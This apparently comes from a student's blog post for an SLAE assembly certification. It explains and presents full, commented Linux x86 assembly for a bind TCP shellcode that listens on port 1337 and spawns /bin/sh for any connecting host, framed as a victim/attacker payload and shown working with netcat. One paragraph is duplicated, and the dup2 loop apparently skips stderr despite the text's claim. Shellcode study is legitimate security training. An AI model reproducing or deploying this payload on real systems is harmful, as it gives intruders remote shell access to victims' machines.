SLAE Assignment 1 | Bind TCP Shellcode - Linux x86
This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1342
Hey Shellcoders,
I've enrolled myself in SLAE course 2 months ago maybe and last week I finally get enough motivation to start working on it. So today I'm writing this post as the part of the assignment where I was given a task to create a Bind TCP shellcode.
- Bind to a port
- Execs Shell on incoming connection
- Port number should be easily configurable
First let's see how Bind TCP shell will work theoretically. Have a look at this below image first,
So basically a port will be open in the victim machine and the attacker will connect to the victim machine from that particular open port. This is just the basic that you need to know first. Alright let's begin so first we need to check the equivalent C code for the assembly. For that I went to my favorite website Geeksforgeek [Here]
So basically a port will be open in the victim machine and the attacker will connect to the victim machine from that particular open port. This is just the basic that you need to know first. Alright let's begin so first we need to check the equivalent C code for the assembly. For that I went to my favorite website Geeksforgeek [Here]
It gives us a rough idea about what syscalls we will be needing in our journey.
- socket()
- bind()
- listen()
- accept()
Okay so " NR_Socketcall " is at 102 , in hex it's value would be 0x66.
Now in assembly we can't write like use bind() instead the particular value is assigned to each calls. Now we need call number's for the socket,bind,listen,accept and connect call's
Okay we will need 1 to 5 AF_MAX values xD amazing, now let's begin with the assembly code.
The property says , XOR something with something will always be 0. Here I am refering something to a value that are same.
So, " xor eax, eax " will be NULL the eax register , same with “xor ebx,ebx” ebx register and same with “xor ecx,ecx” ecx register. Whereas to save our 1 byte we used cdq because the CDQ instruction copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register..
In the end when everything is done we use " int 0x80 " to interrupt the call. In normal language it's like calling kernel giving them all register value and using those value kernel will do the work and get it done for us. Ess Pzz?
- EAX- System call number
- EBX- First argument
- ECX- Second argument
- EDX- Third argument
- ESI- Forth argument
- EDI- Fifth argument
It will call bind() , also if you wanna change the port number then you can simply change " push word 0x3905 " with your hex value of your port number.
listen() will actually put the server socket in passive mode where it will wait for the client to send the request to make a connection.
accept() will just accept the connection and the connection will established between server and the client. Now we will need dup2() , Read more about from [Here]
First thing first, we need to find the dup2 syscall number.
So, it is 63 but it's hex value would be 0x3f ,
Here we are using loop for duplicating in , out and error with the file descriptor. Now here we are left with the final thing.
This is the basic execve() shellcode. It will just pop the " /bin/sh " shell for us xD . Read more about it. [Here]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Author: Shubham Singh | |
; SLAE - 1342 | |
; Assignment 1: Bind TCP Shellcode / Linux x86 | |
global _start | |
section .text | |
_start: | |
;xor something with itself is 0 | |
xor eax,eax ; eax will become 0 | |
xor ebx, ebx ; ebx will become 0 | |
cdq ; edx will become 0 | |
; socket(AF_INET,SOCK_STREAM, 0) | |
mov al, 102 ; socketcall() syscall number is 102 in decimal | |
inc ebx ; ebx will be 1 now | |
push edx ; 0 will be pushed on stack | |
push byte 0x1 ; SOCK_STREAM=1 | |
push byte 0x2 ; AF_INET=2 | |
mov ecx, esp ; now ecx will have the value that points to top of the stack address | |
int 0x80 ; intrupt sys call, now access will go to kernel | |
xchg esi, eax ; The return value of eax will be store in esi register which will be used as the file discripter. | |
; bind(*fd, (2, port , 0), 16) | |
xor eax, eax | |
mov al, 0x66 ; socketcall() syscall number is 102 in decimal | |
inc ebx ; ebx will be 2 now | |
push edx ; push 0 on the stack | |
push word 0x3905; push 1337 in hex on the stack | |
push bx ; push 2 on the stack | |
mov ecx, esp ; ecx will point to the esp | |
push 0x10 ; push 16 of decimal in hex on the stack | |
push ecx ; push the address that ecx holds on the stack | |
push esi ; push the fd address on the stack | |
mov ecx, esp ; again ecx will point to the top of the stack | |
int 0x80 ; intrupt sys call | |
; listen(*fd, number_of_listners) | |
xor eax, eax | |
mov al, 0x66 ; socketcall() syscall number is 102 in decimal | |
inc ebx ; increase ebx by one, now ebx=3 | |
inc ebx ; increase ebx by one, now ebx=4 | |
push ebx ; push 4 on the stack for number of listners | |
push esi ; push the file discripter address on the stack | |
mov ecx, esp ; point top of the stack to ecx | |
int 0x80 ; intrupt sys call | |
; accept(*fd, NULL , NULL) | |
mov al, 102 ; socketcall() syscall number is 102 in decimal | |
inc ebx ; increase ebx by one, now ebx=5 | |
push edx ; push 0 on the stack | |
push edx ; push 0 on the stack | |
push esi ; push the address of file discriptor on the stack | |
mov ecx, esp ; point top of the stack to ecx | |
int 0x80 ; intrupt sys call | |
xchg ebx, eax ; exchange the value of ebx and eax register values | |
;dup and dup2 ; duplicate the file descriptor | |
xor ecx, ecx ; 0 the value of ecx register | |
mov cl, 0x2 ; move the value of 2 in lower ounter register | |
loop: ;define the loop | |
dec ecx ; decrement the value of cl register by 1 | |
mov al, 0x3f ; move the value 0x3f of hex in al register | |
int 0x80 ; intrupt the sys call | |
jns loop ; jump if non sign | |
; execve(const char *filename, char *const argv[],char *const envp[]); | |
xor ecx, ecx ; 0 the ecx register | |
push ecx ; push 0000 on the stack | |
push byte 0x0b ; push 11 on the stack | |
pop eax ; pop out the 11 in eax register | |
push 0x68732f2f ; push sh\/\/ on the stack | |
push 0x6e69622f ; push nib/ on the stack | |
mov ebx, esp ; move the value of top of the stack register in ebx | |
int 0x80 ; intrut the sys call | |
In top most pane I've just assembled and linked the assembly file / object file. In pane 2 i.e bottom left just " netstat -l " command is running to check if the port 1337 is opened and in listening mode.
In pane 3 the bottom of the right side , I have just shown my IP address to tell I am different host (But in the same network)
In pane 4 the middle one from the right side. I'm using nc command which is short for netcat to connection to the Ubuntu box where port 1337 is running.
Thanks,